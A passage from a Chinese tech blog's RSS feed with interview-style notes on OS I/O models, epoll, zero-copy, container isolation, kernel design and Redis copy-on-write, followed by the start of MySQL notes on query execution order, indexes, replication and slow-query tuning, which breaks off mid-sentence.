id="11-阻塞、非阻塞、同步、异步的区别到底在哪？能不能举个生活中的例子？">11.阻塞、非阻塞、同步、异步的区别到底在哪？能不能举个生活中的例子？</h2><p>要彻底理清这四个概念，最核心的秘诀是抓住一次完整 I/O 操作的<strong>两个独立阶段</strong>：</p><ol><li><strong>阶段一：数据准备（等待数据就绪）。</strong> 比如网卡收到数据，并写入到内核缓冲区。</li><li><strong>阶段二：数据拷贝。</strong> 将数据从内核缓冲区（Kernel Space）拷贝到用户进程空间（User Space）。</li></ol><p><strong>阻塞 (Blocking) vs 非阻塞 (Non-blocking)</strong></p><ul><li><strong>关注点在于“阶段一”（等待数据就绪时，调用方的状态）。</strong></li><li><strong>阻塞：</strong> 如果内核数据没准备好，用户线程就会被挂起（休眠），什么事都做不了，直到数据准备好才被唤醒。</li><li><strong>非阻塞：</strong> 如果内核数据没准备好，内核会立刻返回一个错误码（比如 <code>EWOULDBLOCK</code>），用户线程不会休眠，可以立刻返回去做其他事情（通常会通过 <code>while</code> 循环不断去轮询询问）。</li></ul><p><strong>同步 (Synchronous) vs 异步 (Asynchronous)</strong></p><ul><li><strong>关注点在于“阶段二”（谁来负责执行真正的“数据拷贝”动作）。</strong></li><li><strong>同步：</strong> <strong>用户线程自己</strong>负责将数据从内核空间拷贝到用户空间。在这个拷贝的过程中，用户线程必然是处于阻塞状态的。</li><li><strong>异步：</strong> <strong>操作系统内核</strong>负责把数据准备好，<strong>并且</strong>直接把数据拷贝到用户指定的缓冲区中。全过程完成后，内核再通知用户线程。用户线程在整个 I/O 操作期间没有任何阻塞，完全不参与搬运工作。</li></ul><ol><li>同步阻塞 (BIO - Blocking I/O)</li></ol><ul><li><strong>场景：</strong> 我在柜台点了一杯珍珠奶茶，然后我就一直死死盯着店员，什么都不干，直到店员把奶茶递到我手里。</li><li><strong>技术映射：</strong> 用户线程发起 <code>read</code> 调用，立刻挂起。内核等待数据到来，数据准备好后，内核将数据拷贝到用户态，<code>read</code> 调用返回。</li></ul><ol start="2"><li>同步非阻塞 (NIO - Non-blocking I/O)</li></ol><ul><li><strong>场景：</strong> 我点完奶茶后，就去旁边玩手机了。但是我心里惦记着，每隔 1 分钟就跑去柜台问：“我的奶茶好了吗？”。如果没有好，店员说“没好”，我就继续玩手机；如果好了，<strong>我得自己伸手把奶茶端过来</strong>（这个端的过程我是同步投入的）。</li><li><strong>技术映射：</strong> 用户线程将 Socket 设置为非阻塞。发起 <code>read</code>，如果没有数据就立刻返回。用户线程需要不断轮询。一旦有数据，<strong>用户线程</strong>依然需要花费时间将数据从内核拷贝到用户态。</li></ul><ol start="3"><li>I/O 多路复用 (I/O Multiplexing，如 Select/Epoll)</li></ol><ul><li><em>(这是实际应用中最广的，属于同步机制)</em></li><li><strong>场景：</strong> 我和 100 个朋友一起点单。我们雇了一个跑腿小哥（Epoll）。小哥一直盯着柜台，这 100 杯奶茶里只要有一杯做好了，他就立刻通知对应的人去拿。但是拿奶茶的动作，<strong>还是得我们自己去拿</strong>。</li><li><strong>技术映射：</strong> 单个线程可以监听多个 Socket 的就绪状态。当某个 Socket 可读时，应用程序被唤醒，然后<strong>自己</strong>主动调用 <code>read</code> 进行数据拷贝。这也是 Netty 底层的高效基石。</li></ul><ol start="4"><li>异步 I/O (AIO - Asynchronous I/O)</li></ol><ul><li><strong>场景：</strong> 我在手机 APP 上点了一杯奶茶（发起异步请求），填好我的座位号，然后我就完全不管了，继续专心打游戏。奶茶店后厨做好了，<strong>还让服务员直接端到了我的座位上</strong>（内核完成数据拷贝），然后拍拍我的肩膀说：“先生，奶茶放您桌上了”。</li><li><strong>技术映射：</strong> 用户发起 <code>aio_read</code> 请求，告诉内核去哪里读、读完放在哪个用户缓冲区，然后立刻返回。内核负责等待数据，并把数据拷贝到应用程序的 Buffer 中，最后通过回调函数或信号通知应用程序。</li></ul><h2 id="12-讲讲-select、poll-和-epoll-的区别？为什么大厂的千万级并发网关都在用-epoll？">12.讲讲 select、poll 和 epoll 的区别？为什么大厂的千万级并发网关都在用 epoll？</h2><p>如何高效地从海量的网络连接（文件描述符，FD）中，找出真正有数据到达的那一小撮活跃连接。</p><p><strong>select 的三大致命缺陷：</strong></p><ol><li><strong>连接数受限：</strong> 它底层使用一个 Bitmap（位图）来存储 FD，而在 Linux 源码中由于宏定义 <code>FD_SETSIZE</code> 的限制，默认最多只能监听 1024 个连接。</li><li><strong>全量内存拷贝：</strong> 每次调用 <code>select</code>，都需要把整个 FD 集合从用户态拷贝到内核态；如果有连接就绪，内核再把状态修改后，全量拷贝回用户态。这在海量并发下带来了巨大的内存带宽消耗。</li><li><strong>两次 $O(N)$ 轮询：</strong> 内核态需要遍历一遍所有 FD 检查谁有数据；回到用户态后，我们的应用程序又得遍历一遍全量数组，才能找到具体是哪个 FD 就绪了。</li></ol><p><strong>poll 的“换汤不换药”：</strong></p><ul><li><code>poll</code> 仅仅是把底层的存储结构从 Bitmap 换成了<strong>链表</strong>，从而突破了 1024 个连接的物理上限。</li><li>但它依然没有解决“全量内存拷贝”和“全量遍历”这两个核心的 $O(N)$ 性能瓶颈。当并发量上到 10 万级别时，这两种算法的 CPU 消耗呈指数级上升。</li></ul><p><code>epoll</code> 的高效设计主要通过三个核心 API 及其背后精妙的数据结构来实现：</p><ol><li><strong><code>epoll_create</code>（创建上下文）：</strong><ul><li>在内核态开辟一块属于 <code>epoll</code> 的专属空间，核心包含两个数据结构：一棵<strong>红黑树</strong>和一个<strong>双向链表（就绪队列）</strong>。</li></ul></li><li><strong><code>epoll_ctl</code>（管理红黑树）：</strong><ul><li>当有新的网络连接建立时，通过此函数将 FD 挂载到内核的红黑树上。</li><li><strong>优势：</strong> 增删改的复杂度都是 $O(\log N)$。更重要的是，我们不再需要每次全量传递 FD 集合，只需按需增加或删除，彻底告别了频繁的巨量内存拷贝。</li></ul></li><li><strong><code>epoll_wait</code>（事件回调与就绪队列）：</strong><ul><li>这是 <code>epoll</code> 最精髓的地方。当网卡收到数据并触发硬件中断时，内核会直接调用对应的<strong>回调函数（Callback）</strong>。这个回调函数会把就绪的 FD 从红黑树摘下，直接放入**双向链表（就绪队列）**中。</li><li>当应用程序调用 <code>epoll_wait</code> 时，内核压根不需要去遍历几百万个连接，它只需要检查这个双向链表是否为空即可。如果不为空，就把链表里的这几个活跃 FD 返回给用户态。<strong>精准打击，没有无用功。</strong></li></ul></li></ol><p><strong>LT（Level Triggered - 水平触发）：</strong></p><ul><li><strong>机制：</strong> 只要内核缓冲区里还有数据没读完，每次调用 <code>epoll_wait</code> 时，它就会不断地烦你，重复通知你这个 FD 是就绪的。</li><li><strong>特点：</strong> 这是 <code>epoll</code> 的默认模式（与 <code>select/poll</code> 表现一致）。它的容错率高，代码好写，不容易出现数据漏读的问题。但在极高并发下，频繁的系统调用依然会有一定的性能损耗。</li></ul><p><strong>ET（Edge Triggered - 边缘触发）：</strong></p><ul><li><strong>机制：</strong> 只有在状态发生变化的“那一瞬间”（比如从无数据变成有数据到达），它才会通知你<strong>一次</strong>。如果这次你没把数据读完，下次再调 <code>epoll_wait</code> 时，它绝对不会再通知你，直到有新的数据再次到达。</li><li><strong>特点：</strong> 极致的高效。它极大减少了内核态到用户态的事件触发和系统调用次数。这也是 Nginx 性能称霸的核心机制之一。</li><li><strong>编码要求极高：</strong> 使用 ET 模式，必须配合<strong>非阻塞 I/O（Non-blocking I/O）</strong>。当收到通知时，程序必须在一个 <code>while</code> 循环里不断调用 <code>read</code>，直到返回 <code>EAGAIN</code>（表示缓冲区被彻底榨干了）才能停止，否则就会造成数据永远滞留的致命 Bug。</li></ul><h2 id="13-能从操作系统层面讲讲‘零拷贝’技术吗？">13.能从操作系统层面讲讲‘零拷贝’技术吗？</h2><p><strong>第一次上下文切换（User -&gt; Kernel）：</strong> 发起 <code>read()</code> 调用，CPU 从用户态切换到内核态。</p><ul><li><strong>第一次拷贝（DMA 拷贝）：</strong> 硬盘控制器（DMA）将数据从<strong>磁盘</strong>读取到<strong>内核空间的 Read Buffer（页缓存 Page Cache）</strong>。</li></ul><p><strong>第二次上下文切换（Kernel -&gt; User）：</strong> <code>read()</code> 返回，CPU 从内核态切换回用户态。</p><ul><li><strong>第二次拷贝（CPU 拷贝）：</strong> CPU 将数据从<strong>内核 Read Buffer</strong> 拷贝到<strong>用户空间的 Application Buffer</strong>。</li></ul><p><strong>第三次上下文切换（User -&gt; Kernel）：</strong> 发起 <code>write()</code> 调用，CPU 再次切换到内核态。</p><ul><li><strong>第三次拷贝（CPU 拷贝）：</strong> CPU 将数据从<strong>用户 Buffer</strong> 拷贝到<strong>内核空间的 Socket Buffer</strong>。</li></ul><p><strong>第四次上下文切换（Kernel -&gt; User）：</strong> <code>write()</code> 返回，切换回用户态。</p><ul><li><strong>第四次拷贝（DMA 拷贝）：</strong> DMA 引擎最后将数据从 <strong>Socket Buffer</strong> 拷贝到<strong>网卡（NIC）缓冲区</strong>，准备发送。</li></ul><p>所谓的“零拷贝”，并不是真的没有任何数据拷贝，而是指<strong>消除了 CPU 参与的内存拷贝过程</strong>，完全交由硬件（DMA）来完成数据的搬运。</p><p><code>mmap</code> 的核心思想是：将内核空间的一段内存（Page Cache）与用户空间的内存进行<strong>映射</strong>。</p><ul><li><strong>优化结果：</strong> 用户进程可以直接读取内核缓存中的数据，这就<strong>省去了传统 I/O 中的那次从内核 Read Buffer 到用户 Buffer 的 CPU 拷贝</strong>。</li><li><strong>现状：</strong> 拷贝次数降为 <strong>3 次</strong>（2 次 DMA，1 次 CPU 将 Page Cache 拷到 Socket Buffer），上下文切换依然是 <strong>4 次</strong>。</li><li><em>在 Kafka 中的应用：</em> Kafka 的<strong>写操作</strong>以及<strong>索引文件（Index）的读写</strong>，大量使用了 <code>mmap</code>（在 Java 中是 <code>MappedByteBuffer</code>），使得写入数据时可以直接操作内存，随后由操作系统的 <code>flusher</code> 线程异步刷盘。</li></ul><p>在 Linux 2.1 版本引入了 <code>sendfile</code> 系统调用。它专门针对“将文件数据发送到网络”这种场景进行了终极优化。数据根本就不需要再经过用户态。</p><ul><li><strong>Linux 2.4 版本之后的终极进化（引入 SG-DMA 支持）：</strong> 如果网卡支持 Scatter-Gather DMA 功能，<code>sendfile</code> 可以做到极致：<ol><li>发起 <code>sendfile</code> 调用，发生 <strong>1 次</strong>上下文切换（User -&gt; Kernel）。</li><li>DMA 将磁盘数据拷贝到内核的 Page Cache。</li><li><strong>核心魔法：</strong> CPU 不再拷贝数据，而是仅仅将包含数据位置和长度信息的**文件描述符（FD）**追加到 Socket Buffer 中。</li><li>网卡的 SG-DMA 控制器直接根据这些描述符，从 Page Cache 中读取数据发送到网络。</li><li>调用返回，发生 <strong>1 次</strong>上下文切换（Kernel -&gt; User）。</li></ol></li><li><strong>优化结果：</strong> 只有 <strong>2 次上下文切换</strong>，且只有 <strong>2 次 DMA 拷贝</strong>，<strong>CPU 拷贝次数为 0</strong>！</li></ul><h2 id="14-你知不知道容器其实并不是像虚拟机那样的完整操作系统？它是通过操作系统的什么机制来实现隔离和资源限制的？">14.你知不知道容器其实并不是像虚拟机那样的完整操作系统？它是通过操作系统的什么机制来实现隔离和资源限制的？</h2><p>虚拟机（VM）是通过 Hypervisor 层虚拟化出底层硬件，并在上面运行一个完整的独立操作系统（Guest OS）。而 <strong>Docker 容器的本质，其实就是宿主机 Linux 操作系统上的一个“特殊的普通进程”</strong>。它并没有自己的操作系统内核，而是直接共享宿主机的内核。</p><p>它之所以能表现得像一个完全独立的操作系统环境，完全归功于它巧妙地组合使用了 Linux 内核提供的三大核心设施：<strong>Namespaces（命名空间）</strong>、<strong>Cgroups（控制组）</strong>，以及 <strong>Rootfs（联合文件系统）</strong>。</p><p>如果说要把一个进程变成容器，第一步就是要给它施加一个“障眼法”，让它产生一种错觉：<strong>以为自己是这个操作系统里唯一的存在，独占了所有资源。</strong> 这就是 Linux Namespaces 的功劳。</p><p>Linux 提供了多种 Namespaces 来对不同维度的全局资源进行隔离：</p><ul><li><strong>PID Namespace（进程隔离）：</strong> 容器内启动的主进程，在容器内部看自己的 PID 永远是 1（就像 Linux 刚开机时的 init 进程一样）。但如果跳到宿主机上用 <code>ps</code> 命令看，它其实只是一个普通的进程号（比如 PID = 12345）。</li><li><strong>Mount Namespace（文件系统隔离）：</strong> 隔离挂载点。配合类似 <code>chroot</code> 的技术，让容器只能看到自己内部的文件系统目录，完全感知不到宿主机上的其他文件。</li><li><strong>Network Namespace（网络隔离）：</strong> 为容器提供独立的网络栈。每个容器拥有自己独立的虚拟网卡（比如 <code>eth0</code>）、IP 地址、路由表和 iptables 规则。</li><li><strong>其他隔离：</strong> 还包括 <strong>UTS Namespace</strong>（隔离主机名和域名）、<strong>IPC Namespace</strong>（隔离进程间通信，如信号量、消息队列）以及 <strong>User Namespace</strong>（隔离用户和用户组，容器里的 root 在宿主机上可能只是个普通用户）。</li></ul><p>如果仅仅用 Namespaces 做了隔离，其实是极其危险的。因为在内核眼中，它们依然是一堆平等的普通进程。如果不加限制，容器 A 里的一个死循环 Bug 或者内存泄漏，会瞬间耗尽宿主机的全部 CPU 和内存，导致其他容器（甚至宿主机本身）跟着挂掉。</p><p>为了解决资源争抢和限制的问题，就需要用到 <strong>Cgroups（Control Groups）</strong>。相当于给进程套上了一个“紧箍咒”。</p><p>Cgroups 是 Linux 内核中用来限制、记录和隔离进程组所使用物理资源的机制。它可以精确控制容器的各项资源上限：</p><ul><li><strong>CPU 限制：</strong> 可以限制容器只能使用几个特定的 CPU 核心（<code>cpuset</code>），或者限制其占用的 CPU 时间比例配额（通过 <code>cpu.cfs_quota_us</code> 和 <code>cpu.cfs_period_us</code>）。</li><li><strong>内存限制（Memory）：</strong> 可以严格设定容器能使用的最大内存（RAM + Swap）。如果容器内的进程申请内存超过了这个阈值，内核的 OOM Killer（Out-Of-Memory）会毫不留情地把该进程杀掉，从而保护宿主机的安全。</li><li><strong>磁盘 I/O 限制（Blkio）：</strong> 可以限制容器对块设备（如硬盘）的读取和写入带宽（BPS），以及每秒的 I/O 次数（IOPS），防止某个“疯狂读写”的容器把整块磁盘的吞吐量占满</li></ul><h2 id="15-宏内核和微内核有什么本质区别？各有什么优缺点？">15.宏内核和微内核有什么本质区别？各有什么优缺点？</h2><p>一、 宏内核（Monolithic Kernel）：“大包大揽”的实干家</p><p><strong>1. 核心思想：</strong> 宏内核将操作系统的绝大多数核心功能——包括进程调度、内存管理、文件系统、网络协议栈、以及所有的底层设备驱动程序（网卡、显卡驱动等），全部统统塞进**内核态（Kernel Space）**中运行。</p><p><strong>2. 优点：极致的性能</strong></p><ul><li>由于所有的模块都在同一个内核地址空间内，当文件系统需要调用底层磁盘驱动，或者网络协议栈需要调用网卡驱动时，它们之间是<strong>直接的 C 语言函数调用</strong>。</li><li>这种通信方式的开销极低，几乎不需要进行上下文切换和数据的拷贝，因此系统整体的吞吐量和运行效率非常高。这就是 Linux 服务器在高性能计算和高并发领域称霸的基础。</li></ul><p><strong>3. 缺点：牵一发而动全身</strong></p><ul><li><strong>高耦合与低容错：</strong> 这是宏内核最大的痛点。因为所有组件都在拥有最高运行权限的内核态，如果一个第三方厂商写的劣质网卡驱动存在内存越界或死锁引发了 Bug，会直接导致整个内核崩溃，也就是我们常说的 <strong>Kernel Panic</strong>（蓝屏或死机）。</li><li><strong>代码臃肿：</strong> 随着功能的增加，内核代码量变得极其庞大，维护和裁剪的难度极高，很难直接塞进资源受限的 IoT（物联网）设备中。</li></ul><p>二、 微内核（Microkernel）：“权力下放”的管理者</p><p><strong>1. 核心思想：</strong> 微内核奉行“极简主义”，内核态只保留维持系统运行<strong>最最基础</strong>的功能，通常只包含：基础的进程/线程调度、极其基础的内存管理，以及 <strong>IPC（进程间通信）机制</strong>。 而其他所有的功能——文件系统、设备驱动、网络栈等，全部被剥离出内核，剥离成一个个独立的服务（Service），运行在权限较低的<strong>用户态（User Space）</strong>。</p><p><strong>2. 优点：极致的安全、稳定与灵活</strong></p><ul><li><strong>高可用与高容错：</strong> 因为网卡驱动、文件系统都只是普通的用户态进程。如果网卡驱动崩了，内核安然无恙。操作系统的监控服务可以瞬间察觉，并像重启一个普通的 App 一样，把网卡驱动进程重新拉起来。这种极高的鲁棒性对于航空航天、医疗设备、汽车自动驾驶系统至关重要（例如 QNX 系统）。</li><li><strong>易扩展与易裁剪：</strong> 组件之间是松耦合的。想要适配一个极简的智能手表，只需要把不需要的微服务模块砍掉即可，非常适合碎片化的 IoT 生态（例如鸿蒙 OS 的分布式架构设计理念）。</li></ul><p><strong>3. 缺点：IPC 通信带来的性能损耗</strong></p><ul><li>这是微内核的阿喀琉斯之踵。在微内核中，如果一个应用程序想要读取文件，它不能像宏内核那样直接深入内核办完所有事。</li><li>应用程序必须先通过系统调用陷入内核，内核通过 IPC 消息传递把请求发给运行在另一个用户态的文件系统进程；文件系统进程处理完，再通过内核 IPC 发给磁盘驱动进程……</li><li>在这个过程中，会发生<strong>极其频繁的用户态与内核态的上下文切换，以及内存数据的多次拷贝</strong>。这种高昂的通信成本会导致系统整体性能下降。</li></ul><h2 id="16-Redis-在进行-RDB-持久化时，会-fork-出一个子进程。为什么这时候它还能继续极速响应客户端的写请求，而且不会导致内存瞬间翻倍？">16.Redis 在进行 RDB 持久化时，会 fork 出一个子进程。为什么这时候它还能继续极速响应客户端的写请求，而且不会导致内存瞬间翻倍？</h2><p>最核心的钥匙就是 Linux 操作系统的 <strong>Copy-On-Write（写时复制，简称 COW）</strong> 机制。</p><p>当 Redis 决定执行 <code>bgsave</code> 生成 RDB 文件时，主线程会调用操作系统的 <code>fork()</code> 系统调用，创建一个子进程。</p><p>很多初学者会有一个误区：认为 <code>fork()</code> 会把父进程的内存数据完完整整地拷贝一份给子进程。如果真是这样，一个占用 10GB 内存的 Redis 实例，在 <code>fork</code> 瞬间就会再申请 10GB 物理内存，这不仅极慢，而且极易导致内存瞬间撑爆。</p><p>但现代 Linux 操作系统非常聪明。在 <code>fork()</code> 时，它<strong>并不会拷贝实际的物理内存数据，而是仅仅拷贝了父进程的“页表（Page Table）”</strong>。</p><ul><li>页表其实就是虚拟内存到物理内存的映射关系。</li><li>这个拷贝动作非常快，耗时通常在毫秒级别。</li><li>拷贝完成后，父进程（Redis 主线程）和子进程（RDB 进程）的虚拟内存地址，<strong>指向的都是同一块完整的物理内存</strong>。这就是为什么在 <code>bgsave</code> 刚启动时，内存绝对不会瞬间翻倍的原因。</li></ul><p>既然父子进程共享同一块物理内存，子进程在慢慢地把内存数据写到磁盘（RDB），如果这个时候客户端发来了一个写请求，要求修改某个 Key 的值，难道不会把子进程正在导出的数据给破坏掉吗？</p><p>这时候，<strong>Copy-On-Write (COW)</strong> 就登场了。</p><ol><li><strong>打上只读标记：</strong> 在 <code>fork()</code> 之后，操作系统会将父子进程共享的这些物理内存页（Page，通常大小是 4KB）全部标记为 <strong>“只读（Read-Only）”</strong>。</li><li><strong>触发缺页中断：</strong> 当客户端发来写请求，Redis 主线程试图去修改某个内存页上的数据时，CPU 发现这个页是只读的，立刻触发一个<strong>写保护中断（Page Fault）</strong>。</li><li><strong>按需复制（核心所在）：</strong> 操作系统内核接管了这个中断。它发现这是一个 COW 场景，于是会在物理内存中<strong>额外开辟一个新的 4KB 页面</strong>。内核把旧页面的数据拷贝到新页面上，然后修改父进程的页表，让父进程指向这个新的页面，并把新页面标记为可写。</li><li><strong>互不干扰：</strong> 随后，父进程就在这个新的页面上执行写操作，极速响应了客户端。而子进程的页表依然指向原来的那个旧页面。</li></ol><p>通过这种极其优雅的机制，子进程看到的数据，永远停留在 <code>fork()</code> 执行那一瞬间的历史快照（Snapshot）状态，它可以安心地去写它的 RDB 文件；而父进程只有在真正发生修改时，才会以 4KB 的细粒度去复制内存，实现了真正的“按需分配”。</p><p>问题：</p><p><strong>主线程阻塞隐患：</strong> 虽然 COW 只是拷贝 4KB 的页，但如果 Redis 实例的内存极大（例如几十 GB），<code>fork()</code> 拷贝页表的那个瞬间，主线程依然会被阻塞一段可见的时间。</p><p><strong>“温水煮青蛙”的内存翻倍：</strong> 虽然刚 fork 时内存没翻倍，但如果 RDB 导出的过程极其缓慢（比如磁盘 I/O 成了瓶颈），而在此期间客户端涌入了<strong>海量的写请求</strong>。这就导致大量的内存页被触发 COW。极端情况下，如果所有数据都被改写了一遍，物理内存的占用最终还是会翻倍，导致系统触发 OOM。</p><p><strong>Huge Page（大页）陷阱：</strong> 在 Linux 中如果开启了 Transparent Huge Pages (THP，通常是 2MB 的大页)。那么哪怕你只修改了一个 10 字节的字符串，操作系统也会被迫拷贝一整个 2MB 的内存页。这不仅会造成内存极速膨胀，还会带来严重的 CPU 拷贝开销，导致 Redis 延迟飙升。因此，<strong>在部署 Redis 的机器上，我们通常会严格要求关闭操作系统的 THP 特性</strong>。</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/408/">408</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/os/">os</category>
      
      
      <comments>https://blog.tokenlen.top/2026/04/16/message/base/os/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>数据库知识收集</title>
      <link>https://blog.tokenlen.top/2026/04/16/message/base/sql/</link>
      <guid>https://blog.tokenlen.top/2026/04/16/message/base/sql/</guid>
      <pubDate>Wed, 15 Apr 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;基础问题&lt;/h1&gt;
&lt;h1&gt;1.一条sql语句中各个关键字的执行顺序&lt;/h1&gt;
&lt;p&gt;但 MySQL/Oracle</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>基础问题</h1><h1>1.一条sql语句中各个关键字的执行顺序</h1><p>但 MySQL/Oracle 等引擎的<strong>真实执行顺序</strong>如下：</p><ol><li><strong><code>FROM</code></strong>：选择主表</li><li><strong><code>JOIN</code></strong>：连接其他表</li><li><strong><code>ON</code></strong>：连接条件过滤</li><li><strong><code>WHERE</code></strong>：行级别过滤</li><li><strong><code>GROUP BY</code></strong>：分组</li><li><strong><code>HAVING</code></strong>：分组级别过滤</li><li><strong><code>SELECT</code></strong>：提取目标列 / 计算表达式</li><li><strong><code>DISTINCT</code></strong>：去重</li><li><strong><code>ORDER BY</code></strong>：排序</li><li><strong><code>LIMIT</code> / <code>OFFSET</code></strong>：分页限制</li></ol><h2 id="2-where-和-group-by走索引的过程">2.where 和 group by走索引的过程</h2><p><code>WHERE</code> 子句的主要目的是<strong>过滤数据</strong>。它利用 B+ 树的查找过程分为以下两种典型情况：</p><ol><li><strong>等值查询（Point Query）：</strong> 例如 <code>WHERE a = 1 AND b = 2</code>。<ul><li><strong>过程：</strong> MySQL 引擎会从 B+ 树的根节点开始，利用二分查找法，沿着多级索引页向下遍历。因为 <code>a</code> 和 <code>b</code> 都是等值，B+ 树保证了这两列是绝对有序的，引擎能够以 $O(\log N)$ 的时间复杂度，精确定位到叶子节点中满足条件的数据边界。</li></ul></li><li><strong>范围查询（Range Query）：</strong> 例如 <code>WHERE a &gt; 1 AND a &lt; 10 AND b = 2</code>。<ul><li><strong>过程：</strong> 引擎首先按 <code>a &gt; 1</code> 找到左边界，然后沿着叶子节点的双向链表向右顺序扫描（Range Scan），直到遇到 <code>a &gt;= 10</code> 的数据停止。</li><li><strong>断点陷阱：</strong> 因为在 <code>a</code> 是一个范围的前提下，<code>b</code> 的值是<strong>全局无序但局部有序</strong>的。所以对于 <code>b = 2</code> 这个条件，无法再利用二分查找去树中快速跳跃，只能在扫描 <code>a</code> 范围的过程中，逐行比对 <code>b</code> 的值（这部分在 MySQL 5.6 引入了 <strong>ICP 索引下推</strong> 优化，减少了回表次数）。</li></ul></li></ol><p><code>GROUP BY</code> 的本质是<strong>先排序，后聚合</strong>。 如果数据本身不是有序的，MySQL 就不得不创建一个内部临时表（Using temporary），把数据放进去，然后再通过外部排序算法（Using filesort）把相同组的数据排在一起进行聚合。<strong>这是极度消耗 CPU 和内存的。</strong></p><p>索引对 <code>GROUP BY</code> 最大的贡献就是：<strong>天然排好序了，直接拿来用。</strong></p><p>MySQL 利用索引处理 <code>GROUP BY</code> 有两种高级扫描方式：</p><ol><li><strong>松散索引扫描（Loose Index Scan）：</strong><ul><li><strong>条件：</strong> 查询只涉及索引的最左前缀，且通常配合 <code>MIN()</code> 或 <code>MAX()</code>。</li><li><strong>过程：</strong> 引擎<strong>不需要扫描满足条件的所有记录</strong>。比如 <code>GROUP BY a</code>，它会在 B+ 树中直接跳跃着读取每个 <code>a</code> 组的第一条（或最后一条）记录。效率极高，相当于只扫描组的数量，而不是数据行的数量。</li></ul></li><li><strong>紧凑索引扫描（Tight Index Scan）：</strong><ul><li><strong>条件：</strong> 无法使用松散扫描，但依然符合最左前缀。比如 <code>WHERE a = 1 GROUP BY b</code>。</li><li><strong>过程：</strong> 引擎会利用 <code>a = 1</code> 定位到数据后，因为在 <code>a</code> 相等的情况下 <code>b</code> 是严格有序的，所以引擎只需要顺着叶子节点一直往后读。遇到相同的 <code>b</code> 就聚合，遇到不同的 <code>b</code> 就开启下一个组。全程不需要额外的排序操作（无 filesort）。</li></ul></li></ol><h2 id="3-主从同步">3.主从同步</h2><p>MySQL 的主从同步是一个<strong>异步</strong>的逻辑复制过程，主要涉及三个线程：</p><ol><li><strong>Master - Binlog Dump Thread</strong>: 当 Slave 连接到 Master 时，Master 会创建一个线程，负责读取 <code>binlog</code> 内容并发送给 Slave。</li><li><strong>Slave - I/O Thread</strong>: 负责连接 Master，请求指定位置（position）之后的 <code>binlog</code> 内容，并将其写入到本地的 <strong>Relay Log（中继日志）</strong> 中。</li><li><strong>Slave - SQL Thread</strong>: 负责读取 <code>Relay Log</code> 中的事件，并在本地重新执行一遍（Redo），从而保证数据的一致性。</li></ol><p>同步的效率和准确性很大程度上取决于 <code>binlog_format</code> 的选择：</p><ul><li><strong>Statement</strong>: 记录的是 SQL 原文。<ul><li><em>优点</em>：日志量小。</li><li><em>缺点</em>：会导致数据不一致（如使用了 <code>UUID()</code>, <code>NOW()</code> 等非确定性函数）。</li></ul></li><li><strong>Row</strong>: 记录每一行数据的变更。<ul><li><em>优点</em>：最安全，能保证数据的绝对一致。</li><li><em>缺点</em>：日志量巨大（比如一个 <code>UPDATE</code> 影响万行，就会记录万行数据）。</li></ul></li><li><strong>Mixed</strong>: 折中方案。普通操作用 Statement，遇到非确定性函数自动切为 Row。<ul><li><strong>资深建议</strong>：在互联网高并发场景下，为了保证数据订阅（如 Canal 抽数）和一致性，通常<strong>强制建议使用 Row 格式</strong>。</li></ul></li></ul><p>同步的形式：</p><p>A. 异步复制 (Asynchronous)</p><p>Master 只要写完自己的 <code>binlog</code> 就返回成功，不关心 Slave 是否收到。</p><ul><li><strong>风险</strong>：如果 Master 宕机且 <code>binlog</code> 还没传到 Slave，会<strong>丢失数据</strong>。</li></ul><p>B. 半同步复制 (Semi-Synchronous)</p><p>Master 写入 <code>binlog</code> 后，必须等待<strong>至少一个</strong> Slave 确认收到并写入 <code>Relay Log</code> 后才返回成功。</p><ul><li><strong>权衡</strong>：提升了安全性，但增加了一个网络 RTT 的延迟，影响吞吐量。</li></ul><p>C. 组复制 (MGR - MySQL Group Replication)</p><p>基于 Paxos 协议的多主或主从模式，提供强一致性保障。</p><p>问题：</p><p>这是生产环境中无法回避的问题。常见原因及对策：</p><ul><li><strong>原因 1：Slave 的 SQL 线程单线程瓶颈</strong><ul><li><em>方案</em>：开启 <strong>并行复制 (MTS, Multi-Threaded Slave)</strong>。在 MySQL 5.7+ 中可以基于组提交 (Group Commit) 实现并行回放。</li></ul></li><li><strong>原因 2：大事务</strong><ul><li><em>方案</em>：避免在一个事务中更新大量数据。将大任务拆分为小批次处理。</li></ul></li><li><strong>原因 3：Slave 读压力过大</strong><ul><li><em>方案</em>：增加 Slave 节点，或者将非实时性要求的读业务切到 Slave。</li></ul></li></ul><h2 id="4-查询太慢怎么办？">4.查询太慢怎么办？</h2><p>Step 1: 发现与定位（找准靶心）</p><ul><li><strong>慢查询日志 (Slow Query Log)</strong>：看是否开启了慢查日志，利用 <code>mysqldumpslow</code> 工具找出发生频率最高、耗时最长的 SQL。</li><li><strong>监控链路</strong>：结合 APM 工具（如 SkyWalking、Pinpoint）或者查 <code>show processlist</code> 看看有没有正在卡住的查询。</li></ul><p>Step 2: 执行计划分析（解剖 SQL）</p><p>拿到慢 SQL 后，第一步永远是在前面加上 <strong><code>EXPLAIN</code></strong> 关键字。我会重点看这几个字段：</p><ul><li><strong><code>type</code></strong>：这是核心。如果是 <code>ALL</code>（全表扫描）或者 <code>index</code>（全索引扫描），那必须要优化。我们的目标是至少达到 <code>range</code>（范围扫描），最好是 <code>ref</code> 甚至 <code>eq_ref</code>。</li></ul><blockquote><p>ALL<br>→ index<br>→ range<br>→ index_merge<br>→ ref<br>→ eq_ref<br>→ const<br>→ system<br>→ NULL</p></blockquote><ul><li><strong><code>key</code></strong>：看 MySQL 实际有没有走我们期望的索引，有没有发生索引失效。</li><li><strong><code>Extra</code></strong>：这是关键警告区。如果出现 <code>Using filesort</code>（说明在内存或磁盘发生了外部排序）或者 <code>Using temporary</code>（使用了临时表），这往往是性能杀手。</li></ul><p>Step 3: 对症下药（常见优化手段）</p><ul><li><strong>索引失效救援</strong>：排查是不是对索引列做了运算、用了函数、发生了隐式类型转换，或者 <code>LIKE '%abc'</code> 左侧加了百分号，或者是联合索引违背了“最左前缀法则”。</li><li><strong>避免回表</strong>：如果 <code>SELECT</code> 捞的字段不多，尽量利用<strong>覆盖索引 (Covering Index)</strong>，让查询直接在辅助索引树上拿到结果，避免回聚簇索引查数据。</li><li><strong>分页优化</strong>：对于 <code>LIMIT 1000000, 10</code> 的深度分页，采用<strong>延迟关联</strong>（先走索引查出主键，再去 <code>JOIN</code> 